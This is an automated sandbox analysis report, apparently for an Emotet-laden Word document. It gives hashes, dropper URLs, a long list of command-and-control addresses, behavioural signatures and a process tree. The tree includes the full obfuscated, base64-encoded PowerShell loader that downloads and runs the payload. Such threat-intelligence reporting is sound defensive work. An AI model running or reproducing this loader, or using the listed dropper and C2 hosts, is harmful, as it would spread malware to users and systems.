emotet | cbe9a323a3f8c6f8e119d5765df5d8c8aec0899db8729b8cc5f63e877925173a

General

Target
emotet_e1_cbe9a323a3f8c6f8e119d5765df5d8c8aec0899db8729b8cc5f63e877925173a_2020-08-18__163544._doc.doc
Size 177KB
Sample200818-qsaw4lt11x
SHA256 cbe9a323a3f8c6f8e119d5765df5d8c8aec0899db8729b8cc5f63e877925173a
MD5 7f7f7c465ad051f485986319637c2bc7
SHA1 7ca7017044a027dc5cc2ede81d4bb958577a967d
SHA512 3b71ed31be867c5bbda6350e2ae78801f61f002461b7e77e0719c225f5fe1417122b88f8ef6d1c13fb7ee4376e8731efc4a985b97b8f2c25d1a5c0e8475c61c9
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://jamesmalonefabrics.com/wp-admin/YS2TYA3NbL/
exe.dropper
https://www.inudyog.com/wp-admin/i2/
exe.dropper
https://88yinliu.com/wp-admin/VffcvPGr/
exe.dropper
http://guarany.net/zefiro/gSI5r781/
exe.dropper
https://www.thedcsstudio.com/wp-content/23Q1D22128/
exe.dropper
http://bethagroup.com.au/3GrPP0533/

Extracted

Family

emotet

C2

82.163.245.38:80
209.126.6.222:8080
5.153.250.14:8080
186.70.127.199:8090
190.128.173.10:80
190.195.129.227:8090
91.219.169.180:80
45.173.88.33:80
185.33.0.233:80
188.2.217.94:80
207.144.103.227:80
45.161.242.102:80
219.92.13.25:80
190.163.31.26:80
68.183.170.114:8080
191.99.160.58:80
73.213.208.163:80
94.176.234.118:443
104.131.41.185:8080
45.33.77.42:8080
114.109.179.60:80
213.60.96.117:80
41.84.248.134:443
83.169.21.32:7080
82.76.111.249:443
217.199.160.224:7080
80.249.176.206:80
82.196.15.205:8080
204.225.249.100:7080
190.6.193.152:8080
189.2.177.210:443
177.72.13.80:80
24.135.1.177:80
190.115.18.139:8080
192.241.146.84:8080
209.236.123.42:8080
213.176.36.147:8080
5.196.35.138:7080
104.131.103.37:8080
51.159.23.217:443
190.147.137.153:443
149.62.173.247:8080
137.74.106.111:7080
61.92.159.208:8080
177.73.0.98:443
24.135.198.218:80
85.105.140.135:443
187.162.248.237:80
46.28.111.142:7080
116.125.120.88:443
87.106.46.107:8080
212.71.237.140:8080
12.162.84.2:8080
178.79.163.131:8080
111.67.12.221:8080
95.9.180.128:80
192.241.143.52:8080
201.171.150.41:443
24.148.98.177:80
190.190.148.27:8080
186.103.141.250:443
72.47.248.48:7080
68.183.190.199:8080
172.104.169.32:8080
185.94.252.12:80
178.250.54.208:8080
91.222.77.105:80
217.13.106.14:8080
77.90.136.129:8080
2.47.112.152:80
95.180.234.21:80
186.250.52.226:8080
181.129.96.162:8080
77.55.211.77:8080
185.94.252.27:443
174.100.27.229:80
177.74.228.34:80
67.247.242.247:80
95.85.151.205:80
70.32.115.157:8080
89.32.150.160:8080
212.93.117.170:80
50.28.51.143:8080
94.206.45.18:80
202.4.57.96:80
191.182.6.118:80
58.171.153.81:80
143.0.87.101:80
51.255.165.160:8080
70.32.84.74:8080
73.116.193.136:80
170.81.48.2:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2420	576	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3684-14-0x0000000002260000-0x000000000226C000-memory.dmp	emotet
behavioral2/memory/3684-14-0x0000000002260000-0x000000000226C000-memory.dmp	emotet
behavioral2/memory/2584-17-0x0000000002060000-0x000000000206C000-memory.dmp	emotet
behavioral2/memory/2584-17-0x0000000002060000-0x000000000206C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
18	2420	powersheLL.exe
28	2420	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3684	Mz_0ff37o.exe
2584	Windows.System.Profile.RetailInfo.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\C_ISCII\Windows.System.Profile.RetailInfo.exe	Mz_0ff37o.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2420	powersheLL.exe
2420	powersheLL.exe
2420	powersheLL.exe
2584	Windows.System.Profile.RetailInfo.exe
2584	Windows.System.Profile.RetailInfo.exe
2584	Windows.System.Profile.RetailInfo.exe
2584	Windows.System.Profile.RetailInfo.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2420	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3684	Mz_0ff37o.exe
3684	Mz_0ff37o.exe
2584	Windows.System.Profile.RetailInfo.exe
2584	Windows.System.Profile.RetailInfo.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2420 wrote to memory of 3684	2420	powersheLL.exe	76
PID 2420 wrote to memory of 3684	2420	powersheLL.exe	76
PID 2420 wrote to memory of 3684	2420	powersheLL.exe	76
PID 3684 wrote to memory of 2584	3684	Mz_0ff37o.exe	77
PID 3684 wrote to memory of 2584	3684	Mz_0ff37o.exe	77
PID 3684 wrote to memory of 2584	3684	Mz_0ff37o.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_cbe9a323a3f8c6f8e119d5765df5d8c8aec0899db8729b8cc5f63e877925173a_2020-08-18__163544._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUADUAbABmAHkAZgA4AD0AKAAnAFAAZgAnACsAJwA2AGwAOAB2ACcAKwAnAHoAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAHYAOgB0AEUAbQBwAFwAbwBmAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBJAFQAeQBwAHIAbwBgAFQAbwBjAGAAbwBMACIAIAA9ACAAKAAnAHQAJwArACcAbABzADEAJwArACcAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAJwArACcAcwAnACkAOwAkAFoAYQBvAGsAXwBrADcAIAA9ACAAKAAnAE0AegBfADAAZgBmACcAKwAnADMANwBvACcAKQA7ACQAWQB2AGUAOAAzADUAOAA9ACgAJwBWAGQAaABtAGIAJwArACcAbgBvACcAKQA7ACQATgBrADAAYwA1ADcAbQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAbgBUAHMATwAnACsAJwBmAGYAJwArACcAaQBjAGUAMgAwADEAOQBuAFQAcwAnACkAIAAgAC0AYwBSAEUAUABMAEEAYwBFACcAbgBUAHMAJwAsAFsAQwBoAEEAUgBdADkAMgApACsAJABaAGEAbwBrAF8AawA3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAHkAYgBiAGMAbwBsAD0AKAAnAFUAawBrADkAJwArACcAbwAnACsAJwB3AGMAJwApADsAJABNAF8AbwBzAGkAZABpAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAHcAZQBCAEMAbABpAEUAbgB0ADsAJABUADIAdgA5AHYAdABoAD0AKAAnAGgAdAB0AHAAOgAvAC8AagBhAG0AZQBzAG0AYQAnACsAJwBsAG8AbgAnACsAJwBlAGYAYQAnACsAJwBiACcAKwAnAHIAJwArACcAaQBjAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvACcAKwAnAFkAUwAyAFQAJwArACcAWQBBADMATgBiAEwALwAqAGgAdAAnACsAJwB0AHAAcwAnACsAJwA6AC8ALwB3AHcAdwAuAGkAbgAnACsAJwB1AGQAJwArACcAeQAnACsAJwBvAGcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvAGkAMgAvACoAaAB0AHQAcABzADoALwAvADgAOAB5ACcAKwAnAGkAJwArACcAbgBsAGkAdQAuACcAKwAnAGMAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AVgBmAGYAYwB2AFAARwByAC8AJwArACcAKgBoAHQAdABwADoAJwArACcALwAvAGcAdQBhAHIAYQAnACsAJwBuAHkALgBuACcAKwAnAGUAdAAvAHoAJwArACcAZQBmAGkAcgBvACcAKwAnAC8AJwArACcAZwBTAEkANQByACcAKwAnADcAOAAxAC8AKgBoAHQAdABwAHMAJwArACcAOgAvAC8AdwB3AHcALgB0AGgAJwArACcAZQBkACcAKwAnAGMAcwBzAHQAdQBkAGkAbwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdAAnACsAJwBlACcAKwAnAG4AdAAvADIAMwBRACcAKwAnADEARAAyADIAJwArACcAMQAyADgALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AYgBlACcAKwAnAHQAaABhAGcAcgBvAHUAcAAuACcAKwAnAGMAbwBtAC4AYQB1ACcAKwAnAC8AMwBHAHIAUABQADAANQAzACcAKwAnADMALwAnACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQBjAGgAbAB0AHoAbwA9ACgAJwBLAGwAJwArACcAMwB3ADQAZgB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAMwBlAHYAOQBzAHMAIABpAG4AIAAkAFQAMgB2ADkAdgB0AGgAKQB7AHQAcgB5AHsAJABNAF8AbwBzAGkAZABpAC4AIgBEAG8AVwBuAGAATABgAE8AYQBkAGAARgBJAGwAZQAiACgAJABEADMAZQB2ADkAcwBzACwAIAAkAE4AawAwAGMANQA3AG0AKQA7ACQATwA2AHoAZAA2AG4AdQA9ACgAJwBHADEAZQAnACsAJwByAHQAXwBoACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABOAGsAMABjADUANwBtACkALgAiAGwAZQBuAEcAYABUAGgAIgAgAC0AZwBlACAAMgA0ADIAOAAwACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAE4AawAwAGMANQA3AG0AKQA7ACQAVQB2ADAAZgBjADMAMgA9ACgAJwBBAHgAMgB4ADEAdwAnACsAJwB5ACcAKQA7AGIAcgBlAGEAawA7ACQAUgBuAHQAOABfAHUAcAA9ACgAJwBSAGIANQAnACsAJwB2ADkAcgAnACsAJwBwACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwB2AGEAdgB6AHIAcgA9ACgAJwBZADUANgAyACcAKwAnADUAOAB1ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3684
- - C:\Windows\SysWOW64\C_ISCII\Windows.System.Profile.RetailInfo.exe
    "C:\Windows\SysWOW64\C_ISCII\Windows.System.Profile.RetailInfo.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2584

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2420-8-0x00007FF9BADD0000-0x00007FF9BB7BC000-memory.dmp

Download

memory/2420-9-0x0000021BB7560000-0x0000021BB7561000-memory.dmp

Download

memory/2420-10-0x0000021BCF8C0000-0x0000021BCF8C1000-memory.dmp

Download

memory/2584-17-0x0000000002060000-0x000000000206C000-memory.dmp

Download

memory/3684-14-0x0000000002260000-0x000000000226C000-memory.dmp

Download

memory/3908-0-0x00007FF9C25C0000-0x00007FF9C2C86000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads